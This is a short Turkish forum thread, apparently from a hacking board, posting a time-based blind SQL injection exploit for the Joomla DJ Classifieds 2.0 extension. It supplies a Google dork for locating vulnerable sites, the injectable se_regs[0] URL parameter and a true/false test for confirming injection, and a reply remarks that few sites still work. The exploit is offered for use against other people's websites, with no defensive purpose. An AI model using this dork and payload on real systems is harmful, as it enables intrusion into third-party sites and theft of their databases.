Joomla DJ Classifieds Extension 2.0 - Blind SQL Injection Vulnerability

x-Qey · 18 Eki 2013

# Exploit Adı: Joomla - DJ Classifieds - Time-Based Blind SQL Injection

# Google Dorkumuz : inurl:"index.php/dj-classifieds/" or inurl:"/dj-classified

# Test Edilen: Linux

# Link: http://server/joomla/index.php/dj-classifieds/

Exploit: http://server/joomla/index.php/dj-classifieds/ads/0/?limitstart=0&se=1&se_regs[0]=[SQLi]

burada:
# dj-classifieds/ads/0/?limitstart=0&se=1&se_regs[0]=1
1=0 & 1=1 dir

DarkBLue · 18 Eki 2013

Eline Sağlık Kardeşim Ama Az Site Var Çalışan :S